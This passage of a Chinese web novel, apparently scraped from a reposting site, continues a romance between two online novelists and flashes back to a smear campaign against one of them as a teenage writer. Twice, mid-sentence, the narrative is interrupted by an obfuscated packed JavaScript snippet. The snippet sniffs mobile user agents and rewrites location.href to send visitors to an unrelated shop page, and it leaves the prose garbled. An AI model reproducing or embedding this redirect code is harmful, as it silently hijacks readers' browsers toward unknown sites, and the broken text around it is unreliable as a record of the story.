颜语凉举着手机的动作停住，想起来于知的网速比他还慢，估计连祝君忱是今辰好的事都不知道。 他偏头望了眼身边正把目光落在自己身上的人，笑道：“嗯，来了你就知道了。” 不过片刻，门便被敲响了。 之前摁了好一阵颜语凉的门铃都没人应，这次门倒开得很快。 入眼就是套着松松垮垮居家服的颜语凉，然后是跟在师傅身后的祝君忱。 肉眼可见，两人关系好到疑似同居。 而他亲爱的言哥喜欢男生。 于知站在门口，进也不是退也不是，眼观鼻鼻观心地转着cpu。 “进来吧。”颜语凉说。 于知抬眼对上颜语凉的目光，看他一副主人模样，引着自己坐到沙发上，脑筋终于转过弯来，理解了颜语凉刚刚说的那句“你来了就知道了”。 一切尽在不言中。 但颜语凉偏要言，他右手一摊指着祝君忱对于知道：“小于知，重新介绍一下，这是你师母。” “哦……”于知几乎不叫颜语凉师傅，更多的是叫哥，这下突然冒出来一个师母，是叫还是不叫？ 而且这位师母身长七尺，身姿挺拔，全然没有母性光辉。 祝君忱听着颜语凉怪异的用词，转头望向他，右眉微挑。 颜语凉置之不理，用力压往上翘的嘴角，也不等于知叫不叫人，也不管他能不能消化接下来的消息，继续放大招：“也是今辰好。” “师……”于知刚纠结完，感觉毕竟颜语凉都这么介绍了，还是遂着师傅的意思叫一声比较好，刚启唇，听到对方的话就卡住了。 颜语凉看着于知头顶缓慢加载出一个问号，端详片刻，闷头笑了起来。 看着男朋友一通造作，不干人事，最后乐得快要岔气，祝君忱无奈地拍着他的背顺气。 颜语凉笑完，颇有些遗憾地偏过头对祝君忱说：“那天桃子签售会看见你是不是也是这种表情？早知道我当时就和你一起进签售会了！” “那你也会是这样的表情，”祝君忱和他面对面，一字一顿，“还会想拿刀捅我。” “那你早点告诉我你是今辰好不就得了，我跟他们一个个介绍过去，看看他们是什么态度。” 祝君忱觑他：“没跟你说？” 颜语凉有些理亏，但是气势不亏：“你可以端着你的尽书网首页账号和微博账号跟我自证！” “或许你会说，我哪弄的高仿号，”祝君忱推测，“或者说我干嘛盗今辰好的账号，然后让我拿远点。” 想象了一下，感觉自己真能做出这种事的颜语凉：“……” 颜语凉看向于知，发现他的目光又不知道往哪放，颔首贴心道：“没事，不习惯没关系，我现在也没习惯呢。” 于知瞬间不知道自己到底要不要习惯了。 颜语凉哄小孩似的拍拍他，随即转头对祝君忱说：“跟你讲个好消息，咱小于知是我朋友里唯一一个没骂过你的人，平时我们骂街他只负责点头。” 祝君忱把胳膊轻飘飘搭上他的肩，微微使劲就把人捞到了怀里，嘴里的话倒没多好听：“你还敢说？” 于知非常同意，疯狂点头。 颜语凉凑近祝君忱一些，两人再靠近一点都能亲上，于知默默捂住眼睛。 “厨房有刀，我还敢捅你呢！”颜语凉口出狂言，要拿主人家里的刀杀主人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758149|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 于知吓惨了，生怕撞见什么凶杀案现场，忙不迭摇头。 谁知祝君忱抬脚进了厨房，回来的时候真拿着把水果刀！ 还有两个苹果。 哦！是切水果！ 于知松了口气。 在颜语凉的注视下，祝君忱作势要把刀和苹果递给他：“自己削？” 颜语凉耍赖：“刀最好不要到我手上。” 祝君忱嘴里不饶人：“只准你捅我不准我捅你？”但却坐在小小的茶几凳上削起了水果，最后漂亮地装盘。 于知终于在这位“师母”身上看到一点光环——照顾他生活难以自理的师傅的光环。 正好嘴里干，颜语凉叉起一块苹果咽下去，偏头跟于知说正事，语调却和平时闲聊一般无二：“《笨美人》怎么回事？” 祝君忱没有关注比赛的事，不知道他们具体要聊什么，闻言抬了下眼皮。 于知咬了下唇：“言哥你知道了啊。” “我是忙，不是不上网。”颜语凉说着，示意他扒个橘子吃，继续问，“怎么不告诉我？” 于知面上露出几分难色，其实原因很简单，他不想把坏的事牵扯到颜语凉。 颜语凉却轻松地打趣道：“你告诉我，说不定能给今辰好老师分担些火力呢，毕竟我在舟山天天憋一肚子气没处发。” 坐在旁边小矮凳的今辰好老师瞥他一眼。 于知似乎也被逗得一乐，牵着嘴角微微地笑。 颜语凉拎着垃圾桶到他面前方便他丢橘子皮，又问：“怎么样，有没有感到挫败？小说圈大环境不好，好可怕哦，不想写了，有没有这样的想法？” 于知抬眼同他对视目光，摇摇头：“言哥，你说过的，如果所有创作者都因为害怕被误会、害怕被泼脏水就再也不敢继续自己的创作的话，那这个世界上就不会再有真诚的创作者了。” 颜语凉一怔，没想到他会把自己多年前的话搬出来。 他记性不算差，但也没多好，于是他追问：“我还说过什么？” “你说，面对误解，如何不陷入自证陷阱又能全然澄清几乎是一个无解的难题，因为敲键盘攻击的人不会负责真相。”于知不磕不巴，侃侃说来，“然后你说不求谣言不攻自破，但求无愧于心、无愧于喜欢你的人。” 这是于知总结过的版本，听着既陌生又熟悉，颜语凉抽过一张雪白的纸抹尽指尖沾到的果汁，听他说完，默然一秒感觉这些话同于知这回写的小说的主旨不谋而合，他有些讶异：“所以《笨美人》……” “嗯，”于知眼底被投进客厅的光映得敞亮，他的语气很轻，“《笨美人》的灵感来源是你，言哥。只不过我把主角变成了偏向弱势一些的女孩。 有一天我刷到了关于你的视频，想过如果言哥那一段时间被打倒了，会不会在平静生活的某一天，拿起笔再掀波澜。这个故事就有了雏形。” “哪有这么中二？”颜语凉当然不会忘了那段时日，却是不在意一般开起玩笑，“既然这样，建议把《笨美人》改成帅小伙。” 74.旧阳台 颜语凉完成他的第一本书是在高一的时候，文笔稚幼，非常中二。 现在都经常被翻出来当黑历史笑，他也常常跟着嘲，但是如今想来也是一段放在他心尖尖上的经历。 第一本书的成绩不好，他花了很长时间去学习和反思，第二本书是他在英语课上走神想出来的文梗，取名为《音符》，是一本幻想耽美娱乐圈文，天大的进步和有趣的奇思一下子就入了慕唯的眼，从此颜语凉便和那会儿才刚有起色的尽书网结下不解之缘。 颜语凉是住宿生，起早贪黑的学习还要想方设法地抽空写小说，让他有些疲惫却乐在其中。 他很高兴为自己的梦想迈出了第一步，夺得人生第一桶金。 和尽书签约的那一周回去，他同奶奶说了很多。 奶奶不知道什么是艺考，只知道小颜同学眉飞色舞的样子无比鲜活，铿锵有力地支持他：“小颜想上电视那就上！” 颜语凉红脸：“奶奶，我不是想上电视……” 奶奶搂着他：“哎哟，奶奶听懂了，小颜想写戏本子。” 可就在《音符》数据最好的时候，出事了。 那个时候隔壁有一个与尽书网性质相同的小网站，却是很恶劣的竞争关系，只要尽书网有好的作者对家就着急忙慌地用稍好一点的条件挖过去。 可是却在颜语凉这碰了壁，因为他们根本联系不上被关在学校闷头造车的颜语凉。 他那时没有公开的博客，去哪个平台搜“言不言”都能搜到一堆类似的ID。 在他的小说评论区评论挖人，被他当广告举报删除。 挖人进度一筹莫展，只能眼睁睁看着这本新星小说冉冉升起，对家网站感觉被挑衅了。 于是，撬墙角的功夫用尽了泼脏水的功夫可多的是。 让某位知名度几乎不值一提但苦写多年的小作者照着《音符》写了个预收文案，后台暗箱操作一改放预收时间，并说自己才是首发，言不言是抄袭，苦唧唧卖惨。 旁人肯定会同情努力且怀才不遇的弱者。 让某些营销号影射言不言这本书有原型，是娱乐圈某塌房塌得找不着北的男星。 娱乐圈文最忌讳的就是原型，尤其还是劣迹男星。 买通某写书专家评价言不言，说他第一本书那么烂，这本书肯定是找枪手了，不然不可能进步这么大，哪个正常作者周末更新一次性更三五章？还有《音符》有很多地方有bug，这正是言不言接不上剧情的佐证！ 旁人也定会厌恶、嫉妒弄虚作假得来的荣誉。 …… 一罪叠一罪。 那一周颜语凉抱着自己新写的稿子回家，发现自己已经“被”塌房了。 堪堪十七岁的小男生，风中凌乱，心碎一地。 但是慕唯告诉他，这一回尽书网不打算忍气吞声，收集了许多证据，请了专业律师，马上连带着之前挖墙脚的事一起告，很快结果就会水落石出。 【编编慕唯】：但是言宝呀，有一件事想征求一下你的意见，愿不愿意多签几年？ 【编编慕唯】：不急，你可以等风波过去了再回答我，决定权在你自己手里。 颜语凉有自己的考量，之前仅仅签了两三年。 但尽书想捧一些招牌，之前小火出圈，现在黑红全网的《音符》是不二选择，但是招牌总不能在站里写了没两年就跑别的地方去了，所以网站想续约。 知杳中学的周假时间短任务多，颜语凉只来得及将自己这一周的稿件传到网站上进行本周的更新，将自己的一些手写稿和电子稿件编辑记录发给编辑。 匆匆开通人生的第一个博客，也不知道挂什么颜色的v。 [言不言： 清者自清。＃《音符》抄袭 ] 不卑不亢。 这是他的第一条博客，至今未删，主页往下狂翻翻到最后一条就会是这个。 尽书网让他稍微出面安抚书粉，但是言多必失，他连词条带得都是最简洁的。 当年所有的流言蜚语、捕风捉影都被这八个字如盾牌一般抵在对立面，护着一部分焦虑不安摇摆不定但真的很喜欢《音符》的粉丝躲到颜语凉身后。 但是颜语凉毕竟只是一个只有半根脚趾踏进社会的孩子，远没有博客上表现出来的那般冷静沉着。 第二天返校上课频频开小差。 班主任倩涂总能第一时间关注到每一个学生的状态，颜语凉作为英语课代表首当其冲。 她借着让颜语凉来办公室领卷子的名义询问他最近怎么了，颜语凉沉默好一阵，只说是为周三的竞赛紧张。 倩涂便给他塞小饼干和糖鼓励他：“李颖芝也去她都没紧张你紧张什么，放心好了，以你的能力拿奖肯定不成问题。” 颜语凉的思绪没有被抚平，一连几天心头都隐隐浮躁。 周三一早，领队老师带着他和同校参加作文大赛的另外几名同学一块坐上去邻市的大巴车。 他很少把手机带到学校来，因为出了这些事，他想多关注一下，但其实一直没有抓到空档偷偷上网。 老师在前头说着竞赛期间的注意事项，全是老生常谈，他听得兴致缺缺，在底下偷偷摸手机。 这个作文比赛的承办方是省内一所知名大学，颜语凉开小差的间隙听同行的人说着八卦，得知这所大学前阵子还在办一个数学相关的竞赛，大概快结束了，而他们的作文竞赛恰好明天开始，无缝衔接。 “听说数学竞赛的人比较多，他们住的六人间，满满当当的，我们语文这边比较冷门，人少，六人间只住四个人就够。”前头的女生是同班李颖芝，说着转头同颜语凉搭话，“颜语凉，我们作文大赛男生少，你甚至有可能一个人一间宿舍！” “这么爽！”与李颖芝同坐的女同学替他感叹。 女生简直是预言家。 颜语凉当天下午走进宿舍，负责交接的老师戴着黑框眼镜看起来十分干练，通知他：“因为男生正好住满了，你是一个人住，有什么需要的可以找宿管，或者巡查的老师，你东边那间宿舍刚结束竞赛今晚可能会收拾东西，所以可能会有点吵，等明天他们早上搬走就没事了，他们五点就得走。” 颜语凉乖巧点头，转身走进宿舍。 看上去很听话，实则身体在前面走，魂在后面飘。 天已经快黑了，夏天已经过去，天气没有先前那般闷热，宿舍楼下高大的槐树同楼比肩，丛里林间的虫叫隐隐绰绰。 颜语凉解决晚饭后洗了个澡，站在阳台上透风。 他摆弄着手机，这会才得空去看网上那些人给他泼的是什么颜色的脏水。 颜语凉的共情能力极强，对文字极敏感，站在不温不凉的晚风里翻了半小时的评论，手机的光亮将他的脸映得白白的。 他能看到有人声嘶力竭、举着无数例子说讨厌他，也能看到有人誓死反驳，坚定地帮他说话，当然也有不明真相的路人，摇摆不定。 虚虚实实，真真假假。 听说尽书网和隔壁站子都请了水军互撕。 隔着手机屏幕，颜语凉顿感迷茫，到底有哪些是真心不信自己的，有哪些是真心信自己的？ 是信我的人多一些还是不信的人更占大头？ 颜语凉恍神，突然看到老师口中那个今晚会有些吵的隔壁宿舍有动静，背着屋里的光亮，有一个人也站到了阳台上。 隔壁的阳台装横与他这的不同，摆着大大小小的花盆，也不怕掉下去砸着人。 那人个子拔高，颜语凉看不清对方的脸，只能看到这个高个子头顶毛茸茸的，像小草一样。 “今晚温度正好，很舒服。”高个子说，语调很轻。 “嗯，”颜语凉只看他一眼便又栽在心事里，没想到这人会跟他搭话，他手上有些烦地滑动评论，说话声音却很小，没头脑地问，“你相信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759893|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我吗？” 也不知道是在问谁，或许是这部让他苦恼的手机，或许是前头马上就要伸进阳台的槐树叶，亦或许是隔壁阳台上突然出现的这位“真的”陌生人。 他这句话出口立马在心底自嘲一声：“干嘛无厘头地问别人信不信自己，到时人家问起来，你要怎么答？爆马甲不成？” 那高个子却只怔愣一秒，出声：“信。” 不同于网络、隔着屏幕的“虚”，这是实打实的真实，但是颜语凉却非常意外：“为什么？” 高个子思忖两秒，启唇：“可能字比较少吧。” 忧郁多日的颜语凉瞬间被这突如其来的冷幽默逗乐，心情一下子舒畅起来，连带着夏秋交界的晚风都变得轻甜起来，他偏头问：“你叫什么名字？” 祝君忱看到闷闷不乐刷手机的男生露出笑来，正要报上家门，却听颜语凉惊呼一声：“啊——” “怎么了？”他问。 “我手机掉下去了！！！”颜语凉惊叫，着急忙慌地转身下楼，祈祷手机没事。 手机掉进灌木丛里，颜语凉弓着腰找了快十分钟才找着。 好在宿舍只在三楼，楼下又恰巧有绿化带，手机损伤不大，只有手机壳上有轻微划痕。 他回到宿舍，回到阳台。 隔壁宿舍已经熄灯了，先前用余光就能看到的影子已经不知所踪。 这一趟乌龙下来，损失的似乎只有那个未说出口的名字，那位在夜色中说相信他的人的名字。 颜语凉一晃脑子，又开始翻评论。 他似乎是忽然醒悟、振作起来——为什么要被莫虚有的谣言囿困？ 当夜，所有人看见几乎一直处在沉默状态的言不言开始活跃在网络上，也是众人第一次窥见这位新星作者的性格。 在污蔑《音符》抄袭的源头帖下边评论—— [言不言：我从未听过你。拜读了您的文章，去年，你口中说的放预收的那段时间，曾经在作话里吐苦水说没灵感，下本不知道写什么，请问为什么主页会突然出现《音节》？] 签约网站是该小作者的后台，他一开始还能有底气装哭卖惨无理取闹地瞎扯，但是颜语凉逻辑清晰、证据完整，直接把对方怼破防了，开始前言不搭后语。 在说《音符》有原型的营销号视频下面质疑—— [言不言：看完了，第一次听说这个男明星，感觉唯一的相同点是都有鼻子有眼，觉得像的人是没鼻子没眼吗？] 简而言之，你瞎吗？ 在说“言不言肯定有找枪手”的专家评论区嘲笑—— [言不言：花三分钟百度枪手是什么意思，代写就代写，搞那么酷的名字干嘛。一会儿说我写得差，一会儿说我写得好疑似找代写，您自己逻辑能自洽吗？谢谢你帮我捉虫找出《音符》的漏洞，我会改进的（甜笑.jpg）] 有一个昏头昏脑的黑粉，颜语凉每次刚发评论就跟在后面第一个喷。 颜语凉怼完一圈回来，发现身后黏着个鼻涕虫，捏着鼻子送他几个字：“你傻逼么？” 后此鼻涕虫转粉，有人问他为何，他回答：“被骂爽了。” 颜语凉怼人专怼源头，没有花更多的精力和他们掰扯，剩下来的时间都用于回复、安抚喜欢他的粉丝。 有人担心网上铺天盖地的言论会不会影响他日后的创作，会不会有一天失望透顶撂笔不写了。 那时候粉丝对他的称呼还是“言言”。 颜语凉玩着自己的谐音梗，答：“不可能，我可是言不言，路过的狗都得喊声爷爷。” 书粉们还在忐忑忧虑全被他这句话抚得哭笑不得。 从那天起，“言言”变成了“言爷”，延续多年。 往事如风过径，只落微痕，当年纠结、当年难过、当年进退维谷，如今都能挥着手一笑而过。 颜语凉勇敢、自信，绝不会让自己陷落谷底、一蹶不振。